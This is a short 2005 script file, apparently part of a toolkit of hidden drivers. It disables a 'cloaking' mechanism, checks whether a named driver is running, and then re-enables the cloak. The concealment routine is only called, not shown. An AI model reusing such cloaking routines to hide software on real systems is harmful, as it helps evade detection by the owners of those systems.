36 lines
No EOL
815 B
PostScript
36 lines
No EOL
815 B
PostScript
#--------------------------------------------------------
|
|
# File: VerifyRunning.eps
|
|
#
|
|
# Wrapper script to verify Capn tools are running
|
|
#
|
|
# Modifications:
|
|
# 8/10/2005 Created.
|
|
#--------------------------------------------------------
|
|
@include "_DriverIncludes.epm";
|
|
@include "cloak.eps";
|
|
@include "getResDir.eps";
|
|
|
|
@echo off;
|
|
|
|
if ($argc != 3) {
|
|
echo "Usage: $argv[0] <driverName> <cloaker>";
|
|
return false;
|
|
}
|
|
|
|
string $resPath;
|
|
getResDirectory($resPath);
|
|
ifnot(cloakIt($argv[2], $resPath, "enable")) {
|
|
echo "EP couldn't gain uncloaked privileges";
|
|
return false;
|
|
}
|
|
|
|
|
|
string $driver = $argv[1];
|
|
|
|
Bool $running = _DriverVerifyRunning($driver);
|
|
|
|
ifnot(cloakIt($argv[2], $resPath, "disable")) {
|
|
echo "WARNING: EP couldn't recloak - proceed with caution";
|
|
}
|
|
|
|
return $running; |